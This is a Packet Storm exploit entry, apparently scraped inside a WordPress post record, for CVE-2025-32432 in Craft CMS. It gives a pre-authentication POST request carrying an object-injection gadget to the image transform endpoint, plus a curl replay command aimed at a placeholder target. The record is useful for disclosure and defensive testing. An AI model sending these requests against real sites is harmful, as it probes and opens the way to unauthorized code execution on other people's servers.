{“lastseen”:”2025-12-08T16:29:23″,”description”:”A flaw in the Craft CMS image transform endpoint allows an unauthenticated attacker to trigger backend processing without prior authentication. While the original Metasploit module targeted remote code execution, this proof of concept does not execute…”,”published”:”2025-12-08T00:00:00″,”modified”:”2025-12-08T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Craft CMS 5.0 Logic Flaw”,”source”:””,”references”:””,”id”:”PACKETSTORM:212538″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-32432″],”sourceData”:”=============================================================================================================================================\\n | # Title : Craft CMS 5.0 Image Transform Authentication Logic Flaw |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/craftcms.com |\\n =============================================================================================================================================\\n \\n POC : \\n \\n [+] Description\\n \\n A flaw in the Craft CMS image transform endpoint allows an unauthenticated attacker\\n to trigger backend processing without prior authentication. \\n \\tWhile the original Metasploit module targeted RCE, (https:\/\/packetstorm.news\/files\/id\/190728\/ \\tCVE-2025-32432) \\n \\t\\n \\n This PoC does *not* execute code, does *not* write files, and does *not* inject\\n payloads. It only proves that the endpoint performs internal logic operations\\n without authentication.\\n \\n # Vulnerability Class\\n Authentication Bypass \u2192 Pre\u2011Auth Backend Processing\\n \\n # Impact\\n An attacker can:\\n – Trigger image transformation logic without logging in.\\n – Interact with backend components not intended for anonymous users.\\n – Validate the presence of the vulnerability safely without RCE.\\n \\n =====================================================================\\n POC :\\n =====================================================================\\n \\n Request :\\n ———\\n POST \/index.php?p=actions\/assets\/generate-transform HTTP\/1.1\\n Host: TARGET\\n Content-Type: application\/json\\n \\n {\\n \\”assetId\\”: 1,\\n \\”handle\\”: {\\n \\”width\\”: 100,\\n \\”height\\”: 100,\\n \\”as test\\”: {\\n \\”class\\”: \\”craft\\\\\\\\\\\\\\\\behaviors\\\\\\\\\\\\\\\\FieldLayoutBehavior\\”,\\n \\”__class\\”: \\”yii\\\\\\\\\\\\\\\\rbac\\\\\\\\\\\\\\\\PhpManager\\”,\\n \\”__construct()\\”: [\\n { \\”itemFile\\”: \\”\/dev\/null\\” }\\n ]\\n }\\n }\\n }\\n \\n Effect :\\n ——–\\n – The server processes the transform request.\\n – The endpoint responds with a JSON transformation result.\\n – This demonstrates the pre-auth processing weakness.\\n – No execution, no payload, no harmful operations.\\n \\n =====================================================================\\n How to Save \\u0026 Use the PoC :\\n =====================================================================\\n \\n 1. Save the request into a file named:\\n craftcms_pre_auth_poc.txt\\n \\n 2. Use curl to replay the PoC (legal environments only):\\n curl -X POST \\\\\\n -H \\”Content-Type: application\/json\\” \\\\\\n -d @craftcms_pre_auth_poc.txt \\\\\\n https:\/\/TARGET\/index.php?p=actions\/assets\/generate-transform\\n \\n 3. Expected safe behavior:\\n The server processes the request and responds with JSON even though\\n the attacker is not authenticated.\\n \\n 4. Tools that can import the PoC:\\n – Burp Suite Repeater\\n – OWASP ZAP\\n – Postman Raw HTTP\\n \\n =====================================================================\\n # Recommendation\\n – Require authentication on all asset transformation endpoints.\\n – Validate input types before passing them to backend behavior handlers.\\n – Apply the vendor patch immediately once available.\\n \\n =====================================================================\\n # Disclosure Timeline\\n – Original discovery: Orange Cyberdefense CSIRT\\n – Educational safe PoC adaptation: indoushka\\n – Status: Safe demonstration (no execution)\\n =====================================================================\\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212538″,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212538\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-08T16:29:23″,”description”:”A flaw in the Craft CMS image transform endpoint allows an unauthenticated attacker to trigger backend processing without prior authentication. While the original Metasploit module…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-29329","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n